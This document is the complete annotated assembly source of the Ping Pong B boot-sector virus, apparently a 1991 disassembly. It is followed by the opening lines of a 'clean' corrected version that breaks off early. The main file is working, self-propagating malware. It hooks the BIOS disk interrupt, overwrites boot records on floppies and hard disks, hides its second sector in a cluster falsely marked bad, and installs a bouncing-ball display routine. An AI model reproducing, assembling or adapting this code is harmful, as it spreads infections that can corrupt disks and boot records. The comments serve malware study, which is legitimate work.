3) The virus uses "XOR rr,0FFH" and "INC rr" to negate a value (by first
computing the ones complement, then adding one to get the twos
complement.) This could be replaced by "NEG rr" to save three bytes.
4) The use of OFS_ADJ (see below for computation) is needed to let me use
an ORG of 0 when assembling the file. I could've used ORG 07C00h, but
that would create a file about 32k in size on assembling. Instead, I
chose to add this offset manually to force correct address generation.
MEMORY MAP:
The virus will relocate itself 2k below the top of memory. The virus
itself is 1024 bytes, and uses a 512 byte buffer when infecting other
disks. In all, the virus uses 1.5k of memory that is 512 bytes below
the BIOS top of memory count. For a 640k machine the map becomes:
640.0k (97C0:8400, which is A000:0000) ==> Top of memory
639.5k (97C0:8200 to 97C0:83FF) ==> Unused
639.0k (97C0:8000 to 97C0:81FF) ==> Buffer used by virus
638.5k (97C0:7E00 to 97C0:7FFF) ==> 2nd part of virus code
638.0k (97C0:7C00 to 97C0:7DFF) ==> Main part of Ping Pong virus
Note that the "clean" version has a different memory map!!
# End of comment
LOCALS
;The following lines, especially OFS_ADJ, is used to force the assembler to
;generate the correct address for data references. The virus code is
;ORG 7C00h, but we are assembling at ORG 0h. Therefore, we must add
;7C00h to all data references, to make the addresses come out right.
PROGRAM_ASSEMBLY_OFS EQU 0000H
BOOT_SECTOR_LOAD_OFS EQU 7C00H
OFS_ADJ EQU BOOT_SECTOR_LOAD_OFS - PROGRAM_ASSEMBLY_OFS
LOW_MEM_DATA SEGMENT AT 0H ;Bottom of memory space
ORG 0H ;Interrupt vector space
DUMMY_ADDRESS LABEL FAR ;Dummy address used for patching
ORG 0020H
INT8_OFS DW ? ;INT 8h vector offset & segment
INT8_SEG DW ?
ORG 004CH
INT13_OFS DW ? ;INT 13h vector offset & segment
INT13_SEG DW ?
ORG 0413H ;BIOS data area
KB_MEM DW ? ;K bytes of RAM in machine
ORG 7C00H ;Jump here to load O/S
BOOT_SECTOR_EXEC LABEL FAR
LOW_MEM_DATA ENDS
VIRUS SEGMENT
ASSUME CS:VIRUS,DS:NOTHING,ES:NOTHING
ORG 0H
START_HERE:
JMP SHORT CODE_START ;Force a two byte relative JuMp
NOP_INST:
NOP
OEM_ID DB 'PingPong' ;Must be eight characters long!
BYTES_PER_SEC DW 512
SEC_PER_CLU DB 2
RES_SECTORS DW 1
FAT_COPIES DB 2
DIR_ENTRIES DW 112 ;This is a standard
TOTAL_SECTORS DW 720 ; BIOS Parameter Block!
MEDIA_DESCRIP DB 0FDH
SEC_PER_FAT DW 2
SEC_PER_TRK DW 9
SIDES_ON_DISK DW 2
HIDDEN_SECTORS DW 0
ORG 001EH ;Must ORGinate at offset 1Eh
CODE_START:
XOR AX,AX
MOV SS,AX ;Set up stack pointer
MOV SP,BOOT_SECTOR_LOAD_OFS
MOV DS,AX
ASSUME DS:LOW_MEM_DATA
MOV AX,KB_MEM ;Get BIOS's count of available memory
SUB AX,2 ;Reserve 2k for virus's use
MOV KB_MEM,AX ;Save updated memory Kbyte count
;Shifting the memory Kbyte count left by 6 bits will yield the equivalent
;paragraph count. The result is the target segment value for relocation.
;Subtracting 07C0h from the segment value will make the segment shift
;downards by 7C00 bytes, which makes offset 7C00h in that segment line
;up with the previous offset 0.
;For a 640k machine (numbers in parenthesis are decimal equivalents)
; Original BIOS memory count: 280h ( 640) Kbytes
; After virus subtracts 2k : 27Eh ( 638) Kbytes
; Shifting left by 6 bits : 9F80h (40832) paragraphs
; Subtract 07C0h : 97C0h (38848) segment value
MOV CL,06
SHL AX,CL ;This is same as multiplying by 64
SUB AX,07C0H ;Subtract offset divided by 16
MOV ES,AX ;Use result as segment value
MOV SI,BOOT_SECTOR_LOAD_OFS
MOV DI,SI ;Set up index regisetrs for move
MOV CX,256 ;Copy 256 words (ie 512 bytes)
REP MOVSW
DB 08EH, 0C8H ;This is a "MOV CS,AX" instruction (See notes below)
;Notes on MOV CS,AX:
;This should be an illegal instruction, and if you go by the book, it
;wouldn't work on a 80x86 processor. On a 80386 system, it will hang the
;computer, requiring a hard reset or a cold boot. Apprantly, it works on
;a 8088. Turbo Assembler 2.0 will flag "MOV CS,AX" as an instruction with
;illegal operands, so, in order to preserve the original virus code, the
;hex bytes of the instruction must be inserted manually into the code stream.
VIRUS_CONT LABEL FAR ;Continuation address after move
PUSH CS
POP DS ;Set up DS register
ASSUME ES:VIRUS,DS:VIRUS
CALL @@LOAD_PART_2 ;try two times to load part 2
@@LOAD_PART_2:
XOR AH,AH
INT 13H ;Reset disk subsystem
AND Byte Ptr DRIVE+OFS_ADJ,080H ;Force drive number to either A: or C:
MOV BX,PART2_SECTOR+OFS_ADJ
;The sector read/write routine always uses a fixed offset of 8000h; so to get
;the data into the right place, the segment registers are adjusted instead.
;We want to load part 2 of the virus just after part 1, so the offset normally
;would be 7E00h (ie, 7C00h+200h). However, since the offset MUST be 8000h,
;we will change ES to be 0200h BYTES lower then it normally would be.
;Segment registers are in paragraphs, so to subtract 0200h BYTES from ES
;only subtract 0020h.
;This gives us a effective offset calculation of 8000h - (20h * 10h) = 7E00h
PUSH CS
POP AX ;See note above!!
SUB AX,20H
MOV ES,AX ;Move result into ES for read routine
CALL READ_SECTOR
MOV BX,PART2_SECTOR+OFS_ADJ ;Sector after part 2 of the virus is
INC BX ; the original boot record of the disk
MOV AX,0FFC0H ;Address calculation for sector read:
MOV ES,AX ; 8000h + (FFC0h * 10h) = 107C00h
CALL READ_SECTOR ;Trim address to 20 bits, and you
XOR AX,AX ; get 07C00h, which is 0000:7C00
MOV FLAGS+OFS_ADJ,AL ;Clear all flags.
MOV DS,AX
ASSUME DS:LOW_MEM_DATA
MOV AX,INT13_OFS
MOV BX,INT13_SEG
MOV Word Ptr INT13_OFS,OFFSET NEW_INT13+OFS_ADJ
MOV INT13_SEG,CS
PUSH CS
POP DS
ASSUME DS:VIRUS
MOV INT13_PATCH+1+OFS_ADJ,AX ;Save original INT 13h vector
MOV INT13_PATCH+3+OFS_ADJ,BX ; directly into instruction stream
MOV DL,DRIVE+OFS_ADJ
JMP BOOT_SECTOR_EXEC ;Load the O/S as normal
;***************************************
WRITE_SECTOR:
MOV AX,0301H
JMP SHORT VIRUS_DISK_SERV
READ_SECTOR:
MOV AX,0201H
VIRUS_DISK_SERV: ;Command is in AX, DOS sector # in BX
XCHG AX,BX ;Swap command code and sector number
;Now calculate the physical location of the sector number. DOS sectors are
;sequential, while the BIOS uses track, head, and sector numbers.
;Method:
; Starting with: AX=DOS sector #
; Dividing by sectors/track: AX=Sides*Tracks DL=BIOS sector# (after adding 1)
; Move sector number (in DL) to CH for later processing
; Dividing by sides on disk: AX=Track number DL=Head (Side) number
; Since the track # may be more than 255, we will combine the lower
; two bits in AH with the sector number in CH. First shift it left
; by 6 bits, to get it in the form tt000000, then OR it with CH.
; AX now has the following format (high to low bit seq.): TTssssss tttttttt
; ("t" is lower 8 bits of track#, "T" is high order 2 bits of track#,
; and "s" is bits of sector number. )
; Now copy AX into CX, and reverse the two halves of CX. Now the track
; and sector numbers are in their correct locations. (Bits: tttttttt TTssssss)
; The side number is still in DL, so copy it into DH for the BIOS.
ADD AX,HIDDEN_SECTORS+OFS_ADJ ;Add number of hidden sectors
XOR DX,DX ; (Clear high word for 32 bit division)
DIV SEC_PER_TRK+OFS_ADJ ;Divide by sectors/track to get
INC DL ; sector number in DX.
MOV CH,DL
XOR DX,DX
DIV SIDES_ON_DISK+OFS_ADJ ;Divide what's left in AX by
MOV CL,06 ; # of sides to get a track number
SHL AH,CL ; in AX and the head number in DX.
OR AH,CH ;Do some bit shuffling to get the
MOV CX,AX ; pieces in order...
XCHG CH,CL
MOV DH,DL ; and we're done! (whew!)
MOV AX,BX ;Move command code back into AX
DISK_SERVICE:
MOV DL,DRIVE+OFS_ADJ
MOV BX,8000H ;Offset is fixed. (See notes above)
INT 13H
JNC @@NO_ERR ;If successful, then return to caller normally
POP AX ;Otherwise, remove caller's return address
@@NO_ERR: ; and return one lever higher than should.
RET
NEW_INT13 LABEL FAR ;New INT 13h handler
PUSH DS
PUSH ES
PUSH AX
PUSH BX ;Save registers on stack
PUSH CX
PUSH DX
PUSH CS ;Establish our data segment registers
POP DS
PUSH CS
POP ES
ASSUME DS:VIRUS,ES:VIRUS
TEST Byte Ptr FLAGS+OFS_ADJ,01 ;Was this INT invoked before?
JNZ @@END ;If so, ignore this call
CMP AH,02 ;Intercept read requests only
JNE @@END
CMP DRIVE+OFS_ADJ,DL ;Check drive number...
MOV DRIVE+OFS_ADJ,DL ; (also save it for next time)
JNZ @@INFECT ;...if not the same, infect immediately
XOR AH,AH
INT 1AH ;Get clock tick count
TEST DH,07FH ;Is it the right time to activate
JNZ @@UPDATE_TICKS ; the bouncing ball display?
TEST DL,0F0H
JNZ @@UPDATE_TICKS
PUSH DX ;Preserve clock tick count
CALL INST_BALL ;Install the bouncing ball routine,
POP DX ; if not established already.
@@UPDATE_TICKS:
MOV CX,DX ;Find elapsed time since last call
SUB DX,TICK_COUNT+OFS_ADJ ; to this routine. Also save tick
MOV TICK_COUNT+OFS_ADJ,CX ; count for next time.
SUB DX,36 ;If less than 2 seconds have passed,
JB @@END ; don't infect the disk.
@@INFECT:
OR Byte Ptr FLAGS+OFS_ADJ,00000001B ;Set busy flag for INT 13h
PUSH SI
PUSH DI
CALL INFECT_A_DISK ;Attempt to infect target disk
POP DI
POP SI
AND Byte Ptr FLAGS+OFS_ADJ,11111110B ;Clear busy flag.
@@END:
POP DX
POP CX
POP BX ;Restore caller's registers
POP AX
POP ES
POP DS
INT13_PATCH LABEL WORD
JMP DUMMY_ADDRESS ;Continue with original INT 13h handler
INFECT_A_DISK:
MOV AX,0201H ;Read one sector...
MOV DH,0
MOV CX,0001H ;...the first sector of a disk.
CALL DISK_SERVICE
;At this point, the sector we just read could be a normal boot record,
;or the partition table of a hard disk. If it's a boot record from a floppy,
;then proceed to infect it. Otherwise, we have to find the DOS partition
;of the hard disk and read the boot sector from that partition. We search
;the partition for a DOS-12 or DOS-16 entry, then, using the beginning
;drive/side/track/sector information, we read the first sector of the
;partition. That sector will be the required boot record, which we will
;prodeed to process.
TEST Byte Ptr DRIVE+OFS_ADJ,80H ;Is the disk a Winchester?
JZ @@FLOPPY ;If so, then we got a partition table.
MOV SI,OFFSET PARTITION_TABLE+OFS_ADJ
MOV CX,4
@@LP: ;Check O/S identification byte:
CMP Byte Ptr [SI+4],01 ; Is it a DOS-12 partition?
JE @@FOUND ; if so, then continue with infection.
CMP Byte Ptr [SI+4],04 ; Check for a DOS-16 partition.
JE @@FOUND
ADD SI,16 ;Not this one, go to next partition
LOOP @@LP
RET ;No suitable DOS partitions found, so exit.
@@FOUND:
MOV DX,[SI] ;Get drive number and side
MOV CX,[SI+2] ;Get track and sector numbers
MOV AX,0201H ;Read one sector...
CALL DISK_SERVICE
@@FLOPPY: ;A DOS boot record is at CS:8000
MOV SI,OFFSET _NOP_INST+OFS_ADJ ;Copy BPB to virus' code
MOV DI,OFFSET NOP_INST+OFS_ADJ ; space at ES:7C00h
MOV CX,001CH
REP MOVSB
CMP Word Ptr _VIRUS_SIG+OFS_ADJ,01357H ;Check virus' signature
JNE @@INFECT ;Infect if not the same
;It is not known what the following code does; it seems to soem sort of
;error recovery procedure, in case the first attempt at infection failed.
CMP Byte Ptr _CONTINUATION+OFS_ADJ,0
JNB @@EXIT
MOV AX,_SYSTEM_SECTORS+OFS_ADJ
MOV SYSTEM_SECTORS+OFS_ADJ,AX
MOV SI,_PART2_SECTOR+OFS_ADJ
JMP CONT_POINT
@@EXIT:
RET ;Exit now; cannot infect this disk
@@INFECT:
CMP Word Ptr _BYTES_PER_SEC+OFS_ADJ,512 ;512 byte sectors only!
JNZ @@EXIT
CMP Byte Ptr _SEC_PER_CLU+OFS_ADJ,2 ;At lease 2 sectors per cluster
JB @@EXIT
;The virus now computes the number of system use sectors and number of data
;sectors. System use sectors include the Boot Record, FAT copies, root
;directory, and any otherwise reserved sectors. What's left is the number
;of data sectors.
MOV CX,_RES_SECTORS+OFS_ADJ ;Get # of reserved sectors
MOV AL,_FAT_COPIES+OFS_ADJ ;Get # of FAT copies
CBW ;Convert to word in AX
MUL Word Ptr _SEC_PER_FAT+OFS_ADJ ;Multiply by sectors/FAT
ADD CX,AX ;Add result to # reserved sec.
MOV AX,32 ;Each dir entry is 32 bytes
MUL Word Ptr _DIR_ENTRIES+OFS_ADJ ;Get size of root dir in bytes
ADD AX,511 ;Round up when dividing...
MOV BX,512 ;Divide by 512 to get # sectors
DIV BX ; the root directory takes.
ADD CX,AX ;Add to # reserved sectors
MOV SYSTEM_SECTORS+OFS_ADJ,CX ;(Overflow & remainder ignored)
;The virus now calculates the number of data sectors and clusters.
;If there are more than 4080 clusters, then assume we're using a 16 bit FAT.
MOV AX,TOTAL_SECTORS+OFS_ADJ ;Get total # of sectors on disk
SUB AX,SYSTEM_SECTORS+OFS_ADJ ;Subtract # of system sectors
MOV BL,SEC_PER_CLU+OFS_ADJ ;Get # of sectors in a cluster
XOR DX,DX ;Clear high order word...
XOR BH,BH ; and byte for division
DIV BX ;Divide, to get # of clusters
INC AX ;Round up by one
MOV DI,AX ;Save for "find free" routine
AND Byte Ptr FLAGS+OFS_ADJ,11111011B ;Clear "16 bit FAT" flag.
CMP AX,0FF0H ;Is # of clusters too high?
JBE @@1
OR Byte Ptr FLAGS+OFS_ADJ,00000100B ;If so, set flag for 16 bit FAT
@@1:
;Now the search for a free cluster begins.
MOV SI,1 ;Counter of now many FAT sectors searched
MOV BX,RES_SECTORS+OFS_ADJ ;Start with 1st FAT sector
DEC BX ;Sub 1, because we add 1 later
MOV CUR_FAT_SECTOR+OFS_ADJ,BX
MOV Byte Ptr FAT_OFS_ADJ+OFS_ADJ,-2 ;Set "cluster overhead"
JMP SHORT VIRUS_PART2_CONT ;JUMP to part II
ORG 01F3H
CUR_FAT_SECTOR DW ? ;Current FAT sector number; used during infection
SYSTEM_SECTORS DW ? ;Total number of reserved, FAT, and root DIR sectors
FLAGS DB ? ;Bit mapped flags
DRIVE DB ? ;Current drive number
PART2_SECTOR DW ? ;DOS sector number of 2nd part of virus
CONTUATION DB ? ;??? Continuation flag???
ORG 01FCH
VIRUS_SIG DW 01357H ;Virus' signature
BIOS_SIG DW 0AA55H ;Required signature of all boot sectors
;*************** Second sector of virus code starts here! ******************;
ORG 0200H
VIRUS_PART2_CONT:
;Note: DI has maximum cluster number, and SI has current cluster number.
@@NEXT_SECTOR:
INC Word Ptr CUR_FAT_SECTOR+OFS_ADJ ;Add one to FAT sector #
MOV BX,CUR_FAT_SECTOR+OFS_ADJ
ADD Byte Ptr FAT_OFS_ADJ+OFS_ADJ,2
CALL READ_SECTOR ;Read the FAT sector
JMP SHORT @@CHECK ;Check for end of search
@@FIND_FREE:
;To get an entry for a specific cluster in a FAT table, multiply by 1.5 if
;it's a 12 bit FAT; otherwise multiply by 2. The virus uses the following:
;multiply the cluster number by 3 if it's a 12 bit FAT, otherwise by 4. Then
;divide by 2.
MOV AX,3
TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;Check for 16 bit FAT
JZ @@0
INC AX ;Use 4 if FAT-16
@@0:
MUL SI ;Multiply by cluster number
SHR AX,1 ;Divide by 2
;The cluster adjustment value is needed to keep offsets within 512 bytes.
;Since each sector is 0200h bytes, we'll subtract 0200h bytes every time
;we calculate another FAT offset for each subsequent FAT sector.
SUB AH,FAT_OFS_ADJ+OFS_ADJ ;Subtract cluster adjustment
MOV BX,AX
CMP BX,01FFH ;Is offset too high?
JNB @@NEXT_SECTOR ;If so, go to next sector
MOV DX,Word Ptr [BX+SECTOR_BUFFER+OFS_ADJ] ;Get entry
;Once we have the cluster entry, we have to adjust it for a FAT-12 if
;necessary. On a FAT-16, we can use the vlaue directly.
;If it is a 12 bit FAT:
; Clear upper nibble if cluster number is even.
; Otherwise, throw out lower nibble and shift down by 4 bits.
TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;12 bit FAT check
JNZ @@2
MOV CL,04 ;Prepare for shift
TEST SI,1 ;Cluster number odd/even check.
JZ @@1
SHR DX,CL ;Shift down by 1 nibble if odd.
@@1:
AND DH,0FH ;Clear highest nibble.
@@2:
;A free cluster has an entry of 0. Using the TEST instruction, we check
;for an entry of 0. Note that the TEST DX,0FFFFH could be replaced by
;OR DX,DX, saving two bytes.
TEST DX,0FFFFH
JZ FREE_FOUND
@@CHECK: ;See if the maximun cluster number has been
INC SI ; reached. If so, then no free cluster has
CMP SI,DI ; been found, so we can't infect the disk
JBE @@FIND_FREE
RET
FREE_FOUND:
;Now that we found a free cluster, we'll set that cluster to "bad" status.
;As before, we test for a 12 bit FAT and adjust the bad cluster flag
;accordingly.
MOV DX,0FFF7H ;Bad cluster flag.
TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;12 bit FAT check.
JNZ @@0
AND DH,0FH ;Clear upper nibble
MOV CL,04
TEST SI,1 ;Cluster number odd/even check.
JZ @@0
SHL DX,CL ;Shift by 4 bits if odd.
@@0:
OR Word Ptr [BX+SECTOR_BUFFER+OFS_ADJ],DX ;Insert new value.
MOV BX,CUR_FAT_SECTOR+OFS_ADJ ;Get FAT sector #
CALL WRITE_SECTOR ;Write modified FAT to disk
MOV AX,SI ;Get free cluster number to AX
SUB AX,2 ;Subtract cluster number basis
MOV BL,SEC_PER_CLU+OFS_ADJ ;Get # of sectors/cluster
XOR BH,BH
MUL BX ;Multiply to get sector number
ADD AX,SYSTEM_SECTORS+OFS_ADJ ;Add # system use sectors to
MOV SI,AX ; get DOS sector # on disk
MOV BX,0 ;Read the boot record from sector 0
CALL READ_SECTOR
MOV BX,SI ;Write it out to disk, in the second
INC BX ; sector of our "bad" cluster
CALL WRITE_SECTOR
CONT_POINT:
MOV BX,SI ;SI has first sector of free cluster
MOV PART2_SECTOR+OFS_ADJ,SI ;Save it
PUSH CS
POP AX
SUB AX,20H ;Adjust segment value so ES:8000 will
MOV ES,AX ; be the same as CS:7E00h
CALL WRITE_SECTOR ;Write part 2 of virus to disk
PUSH CS
POP AX
SUB AX,40H ;Now adjust ES so an offset of 8000
MOV ES,AX ; will point to CS:7C00h
MOV BX,0 ;Write the first part of the virus
CALL WRITE_SECTOR ; into the boot sector
RET ;DISK IS NOW INFECTED!!!!
ORG 02B0H
TICK_COUNT DW ?
FAT_OFS_ADJ DB ?
INST_BALL: ;Install bouncing ball routine
TEST Byte Ptr FLAGS+OFS_ADJ,00000010B ;Installed already?
JNZ @@EXIT
OR Byte Ptr FLAGS+OFS_ADJ,00000010B ;Set "installed" flag
MOV AX,0
MOV DS,AX
ASSUME DS:LOW_MEM_DATA
MOV AX,INT8_OFS ;Get vector for INT 8h
MOV BX,INT8_SEG
MOV INT8_OFS,OFFSET NEW_INT8+OFS_ADJ ;Set vector to point at
MOV INT8_SEG,CS ; our routine.
PUSH CS
POP DS
ASSUME DS:VIRUS
MOV INT8_PATCH+1+OFS_ADJ,AX ;Direcly patch original vecotr
MOV INT8_PATCH+3+OFS_ADJ,BX ; contents into our code.
@@EXIT:
RET
NEW_INT8 LABEL FAR ;New INT 8 handler
PUSH DS
PUSH AX
PUSH BX ;Save affected registers
PUSH CX
PUSH DX
PUSH CS
POP DS
MOV AH,0FH ;Get video mode, page, and # of columns
INT 10H
MOV BL,AL ;Move mode number into BL
;If the video mode and page are the same as last time, then continue bouncing
;the ball. Otherwise, reset the ball position and increment, and start anew.
;Note: The active page number is in BH throughout this routine.
CMP BX,VIDEO_PARAMS+OFS_ADJ ;Is mode and page same as last time?
JE @@SAME_MODE
MOV VIDEO_PARAMS,BX ;Save for futore reference (!!)
DEC AH ;Subtract 1 from number of columns
MOV SCRN_COLS+OFS_ADJ,AH ; onscreen and save it.
MOV AH,1 ;Assume graphics mode.
CMP BL,7 ;Mono text mode?
JNE @@0
DEC AH ;Set flag to 0 if so.
@@0:
CMP BL,4 ;Is mode number below 4? (ie. 0-3)
JNB @@1
DEC AH
@@1:
MOV GRAF_MODE+OFS_ADJ,AH ;Save flag value.
MOV Word Ptr BALL_POS+OFS_ADJ,0101H ;Set XY position to 1,1
MOV Word Ptr BALL_INC+OFS_ADJ,0101H ;Set XY increment to 1,1
MOV AH,03H
INT 10H ;Read cursor position into DX
PUSH DX ; and save it on the stack.
MOV DX,BALL_POS ;Get XY position of ball.
JMP SHORT UPDATE_BALL_POS ;Change increment if needed.
@@SAME_MODE: ;Enter here if mode not changed.
MOV AH,03H
INT 10H ;Get cursor position into DX
PUSH DX ; and save it.
MOV AH,02
MOV DX,BALL_POS+OFS_ADJ
INT 10H ;Move to bouncing ball location.
MOV AX,ORG_CHAR+OFS_ADJ ;Get original screen char & attribute.
CMP Byte Ptr GRAF_MODE+OFS_ADJ,1 ;Check for graphics mode/
JNE @@3
MOV AX,8307H ;If graphics mode, use CHR$(7)
@@3: ;If not, then use original char
MOV BL,AH ;Move color value into BL
MOV CX,1 ;Write one character
MOV AH,09H ; with attributes and all
INT 10H ; into page in BH.
;The update routine will check for the ball's position on a screen border.
;If it's on a border, then negate the increment for that direction.
;(ie, if the ball was moving up, reverse it.) If the increment was not
;changed, then "randomly" change the X or Y increment based on the lower
;three bits of the previous screen character. This will make the ball
;appear to bounce around "randomly" on a screen filled with characters.
;Note that the ineffecient instructions "XOR rr,0FFH" and "INC rr" can be
;replaced by "NEG rr" (where rr is a register.) This will save 3 bytes
;for every occurance.
UPDATE_BALL_POS: ;Figure new ball position.
MOV CX,BALL_INC+OFS_ADJ ;Get ball position increment.
CMP DH,0 ;Is is on the top row of the screen?
JNZ @@0
XOR CH,0FFH ;Make a ones-complement of the value,
INC CH ; then add 1 to make a twos-comp.
@@0:
CMP DH,24 ;Reached bottom edge?
JNZ @@1
XOR CH,0FFH ;See above!
INC CH
@@1:
CMP DL,0 ;Reached left edge?
JNZ @@2
XOR CL,0FFH ;See above!
INC CL
@@2:
CMP DL,SCRN_COLS+OFS_ADJ ;Reached right edge?
JNZ @@3
XOR CL,0FFH ;Should be familar by now!
INC CL
@@3:
CMP CX,BALL_INC+OFS_ADJ ;Is the increment the same as before?
JNE CALC_NEW_POS ;If not, apply the modified increment.
MOV AX,ORG_CHAR+OFS_ADJ ;Do "ramdom" updating, as described
AND AL,00000111B ; in the note above.
CMP AL,00000011B
JNE @@4
XOR CH,0FFH ;Reverse Y direction.
INC CH
@@4:
CMP AL,00000101B
JNE CALC_NEW_POS
XOR CL,0FFH ;Reverse X direction.
INC CL
CALC_NEW_POS:
ADD DL,CL ;Add increments to ball position.
ADD DH,CH
MOV BALL_INC+OFS_ADJ,CX ;Save ball position increment and
MOV BALL_POS+OFS_ADJ,DX ; new ball position.
MOV AH,02H ;Move to ball position, which is
INT 10H ; in register DX.
MOV AH,08H ;Read the present screen char and
INT 10H ; attribute.
MOV ORG_CHAR+OFS_ADJ,AX ;Save them for next time.
MOV BL,AH ;Use same attribute, if in text mode
CMP Byte Ptr GRAF_MODE+OFS_ADJ,1
JNE @@0
MOV BL,83H ;Otherwise, use color # 83H
@@0:
MOV CX,0001H ;Write one character and attribute
MOV AX,0907H ; using CHR$(7) as the character.
INT 10H
POP DX ;Get old cursor position.
MOV AH,02H ;Move cursor back to that position.
INT 10H
POP DX
POP CX
POP BX ;Restore affected registers.
POP AX
POP DS
INT8_PATCH LABEL WORD
JMP DUMMY_ADDRESS ;Continue with original INT 8h handler.
ORG_CHAR DW ? ;Original screen character and attribute.
BALL_POS DW ? ;Bouncing ball's XY position.
BALL_INC DW ? ;Ball's XY increment
GRAF_MODE DB ? ;1 = graphics mode, otherwise it's a text mode.
VIDEO_PARAMS DW ? ;Mode number and page number.
SCRN_COLS DB ? ;Number of screen columns minus 1
VIRUS_LENGTH EQU $-START_HERE
DB 1024-VIRUS_LENGTH DUP (0) ;Pad out to 1024 bytes.
;******************** End of virus code! **************************************
ORG 0400H ;Work area for the virus
SECTOR_BUFFER LABEL NEAR ;This is a sector buffer!!
_JMP_INST DW ?
_NOP_INST DB ?
_OEM_ID DB 8 DUP(?)
_BYTES_PER_SEC DW ?
_SEC_PER_CLU DB ?
_RES_SECTORS DW ?
_FAT_COPIES DB ?
_DIR_ENTRIES DW ? ;This is the BPB of the target
_TOTAL_SECTORS DW ? ; disk during infection.
_MEDIA_DESCRIP DB ?
_SEC_PER_FAT DW ?
_SEC_PER_TRK DW ?
_SIDES_ON_DISK DW ?
_HIDDEN_SECTORS DW ?
ORG 05BEH
PARTITION_TABLE LABEL NEAR
ORG 05F3H
_CUR_FAT_SECTOR DW ?
_SYSTEM_SECTORS DW ?
_FLAGS DB ?
_DRIVE DB ?
_PART2_SECTOR DW ?
_CONTINUATION DB ?
ORG 05FCH
_VIRUS_SIG DW ?
_BIOS_SIG DW ? ;Should always be 0AA55h
VIRUS ENDS
END
;Disassembled by James L. July 1991
;# EOF #;
@@ -0,0 +1,730 @@
TITLE PINGB-C.ASM - Ping Pong "B" virus assembly source code (CLEAN VERSION)
COMMENT # Read the following carefully:
THIS FILE IS INTENDED FOR EXAMINATION ONLY.
WARNING: DO *NOT* RUN THE RESULTING COM OR EXE FILE!!!!!!!!!
This virus, when assembled, is (almost) harmless if left in a file.
At best, the code will overwrite part of DOS and hang your machine.
At worst, it could wipe out the Boot record of A: or the master boot
record of your hard disk. Since the virus MUST be loaded from a boot
sector to function properly, running the code from DOS will definitely
cause problems.
DISCLAIMER: The author will NOT be held responsible for any damages
caused by careless use of the information presented here.
NOTE: This is the "clean" copy of the Ping Pong B virus. It "corrects"
the coding quirks listed below.
THEORY OF OPERATION:
1) A disk with the virus is booted.
2) The BIOS memory count is decreased by 2k, to prevent DOS from
overwriting the virus, and relocates itself to the reserved space.
3) Part II of the virus is read into RAM just after part I.
4) The original boot sector is read to 0000:7C00.
5) Virus gets and saves the address of INT 13h, the BIOS disk service
interrupt routine, then hooks its own routine in place.
6) The virus jumps to 0000:7C00, load DOS if possible.
INFECTION PROCESS:
1) A BIOS read request is preformed on the target disk.
2) If the drive is different from the last drive that was read from, then
attempt infection immediately. Otherwise, check the BIOS clock tick
count to see if it's time to activate the bouncing ball routine.
3) Read very first sector of the disk. If it's a hard disk, then search
for a DOS-12 or DOS-16 partition, and if found, read the first sector
of THAT partition. We now have the "normal" boot record of the target
disk in the sector buffer.
4) Copy the BPB from the boot record to the virus code space.
5) Check virus' signature in the boot record to see if infected before.
Check disk structure; virus needs 512 byte sectors, and at least 2 sectors
per cluster to infect the disk.
6) Calculate number of system use sectors, data sectors, and maximum cluster
number.
7) Starting with the first sector of the FAT, search for a free cluster.
If none found, then don't infect the disk.
8) The first free cluster is flagged as bad, and the FAT is updated. Note
that only the first copy of the FAT will be modified.
9) The original boot sector is re-read and written to the second sector of
the virus' cluster. Part II of the virus is written to the first sector.
Part I is written to sector 0, replacing the original boot record.
INFECTION RESTRICTIONS:
0) The virus cannot infect a write-protected disk (obvious, isn't it?)
1) The virus will not infect a non-DOS bootable hard disk.
2) The virus will only infect a disk with 512 byte sectors, and at least two
sectors per cluster. This rules out 1.44M and 1.2M disks, among others.
3) The virus will not infect a disk with no free space (from DOS's view).
CODING QUIRKS: (All have been corrected!!)
1) The virus uses a "MOV CS,AX" instruction to continue execution after
relocating itself to higher memory (see MEMORY MAP, below). This should
not work on a 286 or 386 system (the author has not tried it!).
2) The virus uses several "MOV rr,0" instructions (where rr is a 16-bit
register). It could be replaced by "XOR rr,0" to save a byte.
3) The virus uses "XOR rr,0FFH" and "INC rr" to negate a value (by first
computing the ones complement, then adding one to get the twos
complement.) This could be replaced by "NEG rr" to save three bytes.
4) The use of OFS_ADJ (see below for computation) is needed to let me use
an ORG of 0 when assembling the file. I could've used ORG 07C00h, but
that would create a file about 32k in size on assembling. Instead, I
chose to add this offset manually to force correct address generation.
MEMORY MAP: (Adjusted for "clean" version!!)
The virus will relocate itself 2k below the top of memory. The virus
itself is 1024 bytes, and uses a 512 byte buffer when infecting other
disks. In all, the virus uses 1.5k of memory that is 512 bytes below
the BIOS top of memory count. For a 640k machine the map becomes:
640.0k (9F80:0800, which is A000:0000) ==> Top of memory
639.5k (9F80:0600 to 9F80:07FF) ==> Unused
639.0k (9F80:0400 to 9F80:05FF) ==> Buffer used by virus
638.5k (9F80:0200 to 9F80:03FF) ==> 2nd part of virus code
638.0k (9F80:0000 to 9F80:01FF) ==> Main part of Ping Pong virus
# End of comment
LOCALS
PROGRAM_ASSEMBLY_OFS EQU 0000H
BOOT_SECTOR_LOAD_OFS EQU 7C00H
LOW_MEM_DATA SEGMENT AT 0H ;Bottom of memory space
ORG 0H ;Interrupt vector space
DUMMY_ADDRESS LABEL FAR ;Dummy address used for patching
ORG 0020H
INT8_OFS DW ? ;INT 8h vector offset & segment
INT8_SEG DW ?
ORG 004CH
INT13_OFS DW ? ;INT 13h vector offset & segment
INT13_SEG DW ?
ORG 0413H ;BIOS data area
KB_MEM DW ? ;K bytes of RAM in machine
ORG 7C00H ;Jump here to load O/S
BOOT_SECTOR_EXEC LABEL FAR
LOW_MEM_DATA ENDS
VIRUS SEGMENT
ASSUME CS:VIRUS,DS:NOTHING,ES:NOTHING
ORG 0H
START_HERE:
JMP SHORT CODE_START ;Force a two byte relative JuMp
NOP_INST:
NOP
OEM_ID DB 'PingPong' ;Must be eight characters long!
BYTES_PER_SEC DW 512
SEC_PER_CLU DB 2
RES_SECTORS DW 1
FAT_COPIES DB 2
DIR_ENTRIES DW 112 ;This is a standard
TOTAL_SECTORS DW 720 ; BIOS Parameter Block!
MEDIA_DESCRIP DB 0FDH
SEC_PER_FAT DW 2
SEC_PER_TRK DW 9
SIDES_ON_DISK DW 2
HIDDEN_SECTORS DW 0
ORG 001EH ;Must ORGinate at offset 1Eh
CODE_START:
XOR AX,AX
MOV SS,AX ;Set up stack pointer
MOV SP,BOOT_SECTOR_LOAD_OFS
